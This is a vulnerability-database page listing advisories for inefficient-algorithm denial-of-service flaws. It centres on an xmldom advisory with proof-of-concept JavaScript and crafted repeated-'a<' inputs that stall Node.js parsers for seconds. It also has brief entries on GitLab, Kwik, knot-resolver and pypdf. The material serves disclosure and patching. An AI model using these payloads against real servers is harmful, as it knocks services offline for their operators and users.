CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
313 vulnerabilities reference this CWE, most recent first.
GHSA-93R5-FHX6-VMG9
Vulnerability from github – Published: 2026-09-08 21:00 – Updated: 2026-09-08 21:00Summary
xmldom's malformed-input error-recovery path has two quadratic-time (O(n²)) behaviors that a
single crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls
the Node.js event loop for multiple seconds. It is reachable from DOMParser.parseFromString under
default options — i.e. from unauthenticated, network-delivered XML — making this an unauthenticated
denial of service. One of the two behaviors, the normalize() adjacent-text merge, is additionally
reachable programmatically — via a plain normalize() call on a DOM built with adjacent text nodes,
independent of the parser — so its fix must live in normalize(), not only in a parser bound.
Details
Finding A — parseElementStartPart quadratic re-scan
A < character is not a delimiter in any tag-parsing state, so parseElementStartPart scans
forward character-by-character over any embedded < until it reaches the next > (or end of
input), then validates the accumulated slice as a tag name and throws invalid tagName: on failure.
The main loop catches this, reports an error, sets end = -1, and recovers by advancing a single
character (appendText(Math.max(tagStart, start) + 1)). With a long run of < and a distant >,
each of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over
the growing candidate ⇒ O(n²).
Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):
parseElementStartPartcharacter scan — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461- tag-name validation (
setTagName→ throwsinvalid tagName) — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891 - main-loop
catch→error+end = -1— https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242 - single-character recovery fallback — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247
Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):
parseElementStartPart— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227catch→error+end = -1— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208- recovery fallback — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213
setTagNamevalidation — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621
Finding B — normalize() adjacent-text O(K²) merge
endDocument() calls document.normalize(). For a parent with K adjacent text nodes (produced by
the one-character recovery of Finding A), normalize() performs K−1 merges. Each merge does a
removeChild — which re-indexes all child nodes of the parent (O(K)) — and an appendData —
which rebuilds the accumulator string this.data + text (O(K)). Total: O(K²).
Well-formed XML cannot produce adjacent text-node siblings through the parser (each text run is one
node; comments, CDATA, PIs, and elements sit between runs), so the parse-path trigger for Finding B
is the malformed-input recovery that emits single-character text nodes. The same O(K²) merge is,
however, independently reachable via the public normalize() API on a programmatically built tree
(see "Finding B is additionally reachable programmatically" below).
Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):
endDocument→normalize()— https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420normalize()adjacent-text merge — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356removeChildre-index-all branch — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798appendDatastring rebuild — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790
Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):
endDocument→normalize()— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214normalize()merge — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549removeChildre-index-all branch — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773appendDatastring rebuild — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533
Finding B is additionally reachable programmatically (no parser involved)
Node.prototype.normalize() is public API on every Document/Element. A tree built entirely through
the ordinary DOM API — new DOMImplementation().createDocument(...), then K× createTextNode +
appendChild on one parent — reaches the same O(K²) merge when the application calls normalize(),
with no parsing and no error-recovery. The parser is only one of the two callers of the
vulnerable merge:
- the parser's automatic
endDocument()→document.normalize()(the parse-path trigger above), and - any explicit application call to the public
normalize()on a tree with adjacent text nodes.
XMLSerializer does not call normalize(), so serializing an un-merged tree is O(total text), not
O(K²); the O(K²) surface is exactly those two normalize() callers. Consequently a parser-side bound
alone cannot remediate Finding B — the fix must live in normalize().
Affected Versions
Both findings are present across the full published @xmldom/xmldom history — both
currently-maintained versions (0.8.x and 0.9.x) are affected — and across the retired unscoped
xmldom line. Finding B's normalize() merge is additionally reachable programmatically: a
direct normalize() call on a DOM built with adjacent text nodes hits the same O(K²) merge,
independent of the parser — so, unlike Finding A, it does not require the malformed-input recovery
path.
Proof of Concept
Default DOMParser, no options. The input is trivially compressible (a< / a<> repeated) and
never throws — it is parsed via the recovery path.
const { DOMParser } = require('@xmldom/xmldom');
// Silence the expected `error`-level recovery reports (default handler logs
// them to console.error without throwing; only fatalError throws).
console.error = function () {};
function timeParse(label, xml, mime) {
const t0 = process.hrtime.bigint();
new DOMParser().parseFromString(xml, mime); // completes; no exception
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(label + ' bytes=' + Buffer.byteLength(xml) + ' time=' + ms.toFixed(1) + ' ms');
}
for (const N of [4000, 8000, 16000, 32000]) {
// Finding A: long re-scans, O(n^2) during parse.
timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
// Finding B: short re-scans (cheap parse) but K adjacent text nodes -> O(K^2) in normalize().
timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');
// Combined: ONE input hits both A and B under the default parser.
timeParse('C N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
}
Measured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the input ~quadruples the time — canonical O(n²)):
Finding A, isolated ("<r>" + "a<"×N + "</r>", normalize disabled to isolate the re-scan):
| N | input bytes | @xmldom/xmldom 0.9.10 |
0.8.13 |
|---|---|---|---|
| 2000 | 4007 | 43 ms | 37 ms |
| 4000 | 8007 | 129 ms | 106 ms |
| 8000 | 16007 | 434 ms | 424 ms |
| 16000 | 32007 | 1629 ms | 1611 ms |
Finding B, isolated ("<r>" + "a<>"×N + "</r>", time attributable to normalize()):
| K (N) | input bytes | 0.9.10 | 0.8.13 |
|---|---|---|---|
| 4000 | 12007 | 120 ms | 165 ms |
| 8000 | 24007 | 589 ms | 771 ms |
| 16000 | 48007 | 3142 ms | 4448 ms |
| 32000 | 96007 | 12127 ms | 12951 ms |
Combined (default parser, both findings; "<r>" + "a<"×N + "</r>"):
| N | input bytes | 0.9.10 | 0.8.13 |
|---|---|---|---|
| 4000 | 8007 | 341 ms | 397 ms |
| 8000 | 16007 | 1894 ms | 1641 ms |
| 16000 | 32007 | 4398 ms | 7661 ms |
~32 KB of input → several seconds of single-threaded event-loop stall.
Finding B via the public normalize() API (no parser)
const { DOMImplementation } = require('@xmldom/xmldom');
function timeNormalize(K) {
const doc = new DOMImplementation().createDocument(null, 'r', null);
const el = doc.documentElement;
for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x')); // K adjacent text nodes
const t0 = process.hrtime.bigint();
doc.normalize(); // O(K^2) merge — no parsing involved
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log('K=' + K + ' time=' + ms.toFixed(1) + ' ms');
}
for (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);
Measured on Node v18.20.8 (doubling K ~quadruples the time — O(K²)):
| K | 0.9.10 | 0.8.13 |
|---|---|---|
| 2000 | 5.7 ms | 5.6 ms |
| 32000 | 1263 ms | 1704 ms |
This path is reachable by any application that builds a DOM from attacker-influenced data and calls
normalize(), entirely independent of DOMParser.
Impact
Availability only: a single parse of a small crafted document blocks the Node.js event loop for the
duration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n²)). No
memory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is
routinely accepted from untrusted sources and parsed with default options, one request can stall a
server. The payloads are highly compressible, so any endpoint accepting compressed XML faces
additional amplification. Finding B is additionally reachable via an explicit normalize() call on a
programmatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced
data and normalize it are exposed even without parsing.
Severity note
The complexity is quadratic, not exponential, so a multi-second stall requires
tens-to-hundreds of KB of input. VA:H reflects that xmldom applies no input-size limit and the
path runs on default-options parsing, so a single unbounded parse can fully stall the event loop.
Fix Applied
Two independent, non-breaking fixes shipped together — each alone leaves the other's quadratic cost dominating the default parse.
Finding A — terminate the malformed tag-name scan at an embedded <, so error recovery is linear instead of O(n²). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).
Finding B — merge adjacent text nodes in normalize() in O(K) instead of O(K²), which also closes the same slowdown reachable programmatically through a direct normalize() call. Both ship on both maintained versions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.14"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.8.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.11"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.9.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83614"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:00:41Z",
"nvd_published_at": "2026-09-01T15:17:39Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`xmldom`\u0027s malformed-input **error-recovery path** has two quadratic-time (O(n\u00b2)) behaviors that a\nsingle crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls\nthe Node.js event loop for multiple seconds. It is reachable from `DOMParser.parseFromString` under\n**default options** \u2014 i.e. from unauthenticated, network-delivered XML \u2014 making this an unauthenticated\ndenial of service. One of the two behaviors, the `normalize()` adjacent-text merge, is **additionally\nreachable programmatically** \u2014 via a plain `normalize()` call on a DOM built with adjacent text nodes,\nindependent of the parser \u2014 so its fix must live in `normalize()`, not only in a parser bound.\n\n## Details\n\n### Finding A \u2014 `parseElementStartPart` quadratic re-scan\n\nA `\u003c` character is not a delimiter in any tag-parsing state, so `parseElementStartPart` scans\nforward character-by-character over any embedded `\u003c` until it reaches the next `\u003e` (or end of\ninput), then validates the accumulated slice as a tag name and throws `invalid tagName:` on failure.\nThe main loop catches this, reports an `error`, sets `end = -1`, and recovers by advancing a single\ncharacter (`appendText(Math.max(tagStart, start) + 1)`). With a long run of `\u003c` and a distant `\u003e`,\neach of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over\nthe growing candidate \u21d2 **O(n\u00b2)**.\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `parseElementStartPart` character scan \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461\n- tag-name validation (`setTagName` \u2192 throws `invalid tagName`) \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891\n- main-loop `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242\n- single-character recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `parseElementStartPart` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227\n- `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208\n- recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213\n- `setTagName` validation \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621\n\n### Finding B \u2014 `normalize()` adjacent-text O(K\u00b2) merge\n\n`endDocument()` calls `document.normalize()`. For a parent with K adjacent text nodes (produced by\nthe one-character recovery of Finding A), `normalize()` performs K\u22121 merges. Each merge does a\n`removeChild` \u2014 which re-indexes **all** child nodes of the parent (O(K)) \u2014 and an `appendData` \u2014\nwhich rebuilds the accumulator string `this.data + text` (O(K)). Total: **O(K\u00b2)**.\n\nWell-formed XML cannot produce adjacent text-node siblings *through the parser* (each text run is one\nnode; comments, CDATA, PIs, and elements sit between runs), so the **parse-path** trigger for Finding B\nis the malformed-input recovery that emits single-character text nodes. The same O(K\u00b2) merge is,\nhowever, independently reachable via the public `normalize()` API on a programmatically built tree\n(see \"Finding B is additionally reachable programmatically\" below).\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420\n- `normalize()` adjacent-text merge \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214\n- `normalize()` merge \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533\n\n### Finding B is additionally reachable programmatically (no parser involved)\n\n`Node.prototype.normalize()` is public API on every `Document`/`Element`. A tree built entirely through\nthe ordinary DOM API \u2014 `new DOMImplementation().createDocument(...)`, then K\u00d7 `createTextNode` +\n`appendChild` on one parent \u2014 reaches the **same** O(K\u00b2) merge when the application calls `normalize()`,\nwith **no** parsing and **no** error-recovery. The parser is only *one* of the two callers of the\nvulnerable merge:\n\n- the parser\u0027s automatic `endDocument()` \u2192 `document.normalize()` (the parse-path trigger above), and\n- any explicit application call to the public `normalize()` on a tree with adjacent text nodes.\n\n`XMLSerializer` does **not** call `normalize()`, so serializing an un-merged tree is O(total text), not\nO(K\u00b2); the O(K\u00b2) surface is exactly those two `normalize()` callers. Consequently a parser-side bound\nalone cannot remediate Finding B \u2014 the fix must live in `normalize()`.\n\n## Affected Versions\n\nBoth findings are present across the full published `@xmldom/xmldom` history \u2014 both\ncurrently-maintained versions (`0.8.x` and `0.9.x`) are affected \u2014 and across the retired unscoped\n`xmldom` line. Finding B\u0027s `normalize()` merge is additionally reachable **programmatically**: a\ndirect `normalize()` call on a DOM built with adjacent text nodes hits the same O(K\u00b2) merge,\nindependent of the parser \u2014 so, unlike Finding A, it does not require the malformed-input recovery\npath.\n\n## Proof of Concept\n\nDefault `DOMParser`, no options. The input is trivially compressible (`a\u003c` / `a\u003c\u003e` repeated) and\nnever throws \u2014 it is parsed via the recovery path.\n\n```js\nconst { DOMParser } = require(\u0027@xmldom/xmldom\u0027);\n\n// Silence the expected `error`-level recovery reports (default handler logs\n// them to console.error without throwing; only fatalError throws).\nconsole.error = function () {};\n\nfunction timeParse(label, xml, mime) {\n const t0 = process.hrtime.bigint();\n new DOMParser().parseFromString(xml, mime); // completes; no exception\n const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n console.log(label + \u0027 bytes=\u0027 + Buffer.byteLength(xml) + \u0027 time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\n\nfor (const N of [4000, 8000, 16000, 32000]) {\n // Finding A: long re-scans, O(n^2) during parse.\n timeParse(\u0027A N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n // Finding B: short re-scans (cheap parse) but K adjacent text nodes -\u003e O(K^2) in normalize().\n timeParse(\u0027B N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u003e\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/html\u0027);\n // Combined: ONE input hits both A and B under the default parser.\n timeParse(\u0027C N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n}\n```\n\nMeasured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the\ninput ~quadruples the time \u2014 canonical O(n\u00b2)):\n\nFinding A, isolated (`\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`, normalize disabled to isolate the re-scan):\n\n| N | input bytes | `@xmldom/xmldom` 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 2000 | 4007 | 43 ms | 37 ms |\n| 4000 | 8007 | 129 ms | 106 ms |\n| 8000 | 16007 | 434 ms | 424 ms |\n| 16000 | 32007 | 1629 ms | 1611 ms |\n\nFinding B, isolated (`\"\u003cr\u003e\" + \"a\u003c\u003e\"\u00d7N + \"\u003c/r\u003e\"`, time attributable to `normalize()`):\n\n| K (N) | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 12007 | 120 ms | 165 ms |\n| 8000 | 24007 | 589 ms | 771 ms |\n| 16000 | 48007 | 3142 ms | 4448 ms |\n| 32000 | 96007 | 12127 ms | 12951 ms |\n\nCombined (default parser, both findings; `\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`):\n\n| N | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 8007 | 341 ms | 397 ms |\n| 8000 | 16007 | 1894 ms | 1641 ms |\n| 16000 | 32007 | 4398 ms | 7661 ms |\n\n~32 KB of input \u2192 several seconds of single-threaded event-loop stall.\n\n### Finding B via the public `normalize()` API (no parser)\n\n```js\nconst { DOMImplementation } = require(\u0027@xmldom/xmldom\u0027);\n\nfunction timeNormalize(K) {\n const doc = new DOMImplementation().createDocument(null, \u0027r\u0027, null);\n const el = doc.documentElement;\n for (let i = 0; i \u003c K; i++) el.appendChild(doc.createTextNode(\u0027x\u0027)); // K adjacent text nodes\n const t0 = process.hrtime.bigint();\n doc.normalize(); // O(K^2) merge \u2014 no parsing involved\n const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n console.log(\u0027K=\u0027 + K + \u0027 time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\nfor (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);\n```\n\nMeasured on Node v18.20.8 (doubling K ~quadruples the time \u2014 O(K\u00b2)):\n\n| K | 0.9.10 | 0.8.13 |\n|--:|--:|--:|\n| 2000 | 5.7 ms | 5.6 ms |\n| 32000 | 1263 ms | 1704 ms |\n\nThis path is reachable by any application that builds a DOM from attacker-influenced data and calls\n`normalize()`, entirely independent of `DOMParser`.\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n\u00b2)). No\nmemory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is\nroutinely accepted from untrusted sources and parsed with default options, one request can stall a\nserver. The payloads are highly compressible, so any endpoint accepting compressed XML faces\nadditional amplification. Finding B is additionally reachable via an explicit `normalize()` call on a\nprogrammatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced\ndata and normalize it are exposed even without parsing.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no** input-size limit and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.\n\n## Fix Applied\n\nTwo independent, non-breaking fixes shipped together \u2014 each alone leaves the other\u0027s quadratic cost dominating the default parse.\nFinding A \u2014 terminate the malformed tag-name scan at an embedded `\u003c`, so error recovery is linear instead of O(n\u00b2). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).\nFinding B \u2014 merge adjacent text nodes in `normalize()` in O(K) instead of O(K\u00b2), which also closes the same slowdown reachable programmatically through a direct `normalize()` call. Both ship on both maintained versions.",
"id": "GHSA-93r5-fhx6-vmg9",
"modified": "2026-09-08T21:00:41Z",
"published": "2026-09-08T21:00:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1071"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1072"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/xmldom/xmldom"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "xmldom: Quadratic-time parsing via the malformed-input recovery path \u2014 `parseElementStartPart` re-scan and `normalize()` adjacent-text merge"
}
GHSA-94XW-8RG2-4FMC
Vulnerability from github – Published: 2024-11-26 21:32 – Updated: 2024-11-26 21:32An issue was discovered in GitLab CE/EE affecting all versions starting from 15.6 prior to 17.4.5, starting from 17.5 prior to 17.5.3, starting from 17.6 prior to 17.6.1 which could cause Denial of Service via integrating a malicious harbor registry.
{
"affected": [],
"aliases": [
"CVE-2024-8177"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-26T19:15:31Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 15.6 prior to 17.4.5, starting from 17.5 prior to 17.5.3, starting from 17.6 prior to 17.6.1 which could cause Denial of Service via integrating a malicious harbor registry.",
"id": "GHSA-94xw-8rg2-4fmc",
"modified": "2024-11-26T21:32:24Z",
"published": "2024-11-26T21:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8177"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2637996"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480706"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9F57-9RHG-4HVM
Vulnerability from github – Published: 2025-02-20 03:32 – Updated: 2025-02-20 20:18An issue was discovered in Kwik before 0.10.1. A hash collision vulnerability (in the hash table used to manage connections) allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tech.kwik:kwik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-23020"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-20T20:18:50Z",
"nvd_published_at": "2025-02-20T03:15:12Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Kwik before 0.10.1. A hash collision vulnerability (in the hash table used to manage connections) allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs).",
"id": "GHSA-9f57-9rhg-4hvm",
"modified": "2025-02-20T20:18:50Z",
"published": "2025-02-20T03:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23020"
},
{
"type": "WEB",
"url": "https://github.com/ptrd/kwik/commit/b0733d72bad76bc5d8df2f4a7792ebb2539ebdc8"
},
{
"type": "WEB",
"url": "https://github.com/ncc-pbottine/QUIC-Hash-Dos-Advisory"
},
{
"type": "PACKAGE",
"url": "https://github.com/ptrd/kwik"
},
{
"type": "WEB",
"url": "https://github.com/ptrd/kwik/releases/tag/v0.10.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Kwik hash collision vulnerability"
}
GHSA-9F7V-8M4P-PV76
Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2024-04-26 09:30knot-resolver before version 4.3.0 is vulnerable to denial of service through high CPU utilization. DNS replies with very many resource records might be processed very inefficiently, in extreme cases taking even several CPU seconds for each such uncached message. For example, a few thousand A records can be squashed into one DNS message (limit is 64kB).
{
"affected": [],
"aliases": [
"CVE-2019-19331"
],
"database_specific": {
"cwe_ids": [
"CWE-404",
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-16T16:15:00Z",
"severity": "HIGH"
},
"details": "knot-resolver before version 4.3.0 is vulnerable to denial of service through high CPU utilization. DNS replies with very many resource records might be processed very inefficiently, in extreme cases taking even several CPU seconds for each such uncached message. For example, a few thousand A records can be squashed into one DNS message (limit is 64kB).",
"id": "GHSA-9f7v-8m4p-pv76",
"modified": "2024-04-26T09:30:33Z",
"published": "2022-05-24T17:03:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19331"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-19331"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00017.html"
},
{
"type": "WEB",
"url": "https://www.knot-resolver.cz/2019-12-04-knot-resolver-4.3.0.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9M86-7PMV-2852
Vulnerability from github – Published: 2026-03-02 22:03 – Updated: 2026-03-06 21:56Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the /ASCIIHexDecode filter.
Patches
This has been fixed in pypdf==6.7.5.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3666.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28804"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:03:45Z",
"nvd_published_at": "2026-03-06T07:16:01Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/ASCIIHexDecode` filter.\n\n### Patches\nThis has been fixed in [pypdf==6.7.5](https://github.com/py-pdf/pypdf/releases/tag/6.7.5).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3666](https://github.com/py-pdf/pypdf/pull/3666).",
"id": "GHSA-9m86-7pmv-2852",
"modified": "2026-03-06T21:56:41Z",
"published": "2026-03-02T22:03:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-9m86-7pmv-2852"
},
{
"type": "ADVISORY",
